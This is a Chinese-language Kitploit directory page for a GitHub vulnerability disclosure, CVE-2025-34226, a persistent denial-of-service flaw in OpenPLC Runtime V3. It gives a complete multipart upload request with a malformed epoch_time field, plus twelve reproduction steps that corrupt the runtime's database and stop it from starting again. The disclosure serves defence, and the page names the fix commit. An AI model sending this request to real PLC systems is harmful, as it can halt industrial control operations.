Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-34226 — OpenPLC运行时在/upload-program-action端点存在持久性拒绝服务(DoS)漏洞。 | Kitploit
工具/GitHubGitHub/eyodav/cve-2025-34226
漏洞分析漏洞利用SCADA/ICS安全Web应用程序漏洞利用错误配置数据库安全
GitHubeyodav/cve-2025-34226

CVE-2025-34226

OpenPLC运行时在/upload-program-action端点存在持久性拒绝服务(DoS)漏洞。

查看仓库
511个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-34226:OpenPLC 运行时中的持久化拒绝服务

漏洞概述

字段值
CVE IDCVE-2025-34226
影响OpenPLC 运行时 V3
修复版本(提交) 095ee09623dd229b64ad3a1db38a901a3772f6fc
严重程度高
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1(高)
CWECWE-664 资源生命周期控制不当,CWE-20 输入验证不恰当

概要

OpenPLC 运行时在 /upload-program-action 端点存在持久化拒绝服务(DoS)漏洞。
低权限认证用户通过修改上传程序时的 epoch_time 参数,可破坏后端数据库。
该破坏最初导致关键页面无法使用,最终使整个运行时无法启动,实际上导致应用变砖,必须重新安装才能恢复。


安全影响

  • 持久化拒绝服务 —— 一旦触发,系统无法在不清除并重装的情况下恢复。
  • 数据库损坏 —— 利用向 OpenPLC 的 SQLite 数据库中写入无效值,破坏运行时状态。
  • 运行中断 —— 在 ICS/OT 环境中,可能导致 PLC 管理流程停机。
  • 绕过验证 —— 利用绕过输入验证,暴露了关键参数缺乏清洗的问题。

技术细节

受影响版本

  • 受影响版本: OpenPLC 运行时 ≤ v3(非最新版本)
  • 修复版本: 已通过提交 095ee09623dd229b64ad3a1db38a901a3772f6fc 修复

攻击向量

/upload-program-action 端点接收一个 epoch_time 字段,该字段未经验证直接写入数据库。
当该字段被设为构造的或毫无意义的值(例如 1758627838 或格式错误的数据)时,OpenPLC 存储了不一致的状态。
在运行时重新加载或重启时,应用查询损坏的行并遇到 NoneType 对象 → 致命崩溃(TypeError: 'NoneType' object is not subscriptable)。


概念验证

PoC 1:恶意上传请求(Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

复现步骤

  1. 打开 Burp Suite
  2. 打开 Burp Suite 浏览器
  3. 进入 OpenPLC 界面
  4. 使用低权限账户认证。
  5. 通过 /programs 上传程序。
  6. 选择随机名称。
  7. 开启 Burp Suite 代理
  8. 将请求发送至 Repeater
  9. 编辑 epoch_time 部分,将其替换为随机字符,例如将原 epoch_time 替换为 "L"
  10. 发送新构造的请求。
  11. 观察 /programs,会发现该页面不再工作。
  12. 此后有时当 OpenPLC 重启时,运行时会启动失败,并且之后无法再启动 OpenPLC。

立即行动

  1. 立即升级 OpenPLC V3

参考资料

  • 补丁/发布说明: [链接至官方最新版本]
  • 漏洞历史: [漏洞历史链接]

致谢

发现者: Eyodav

下载工具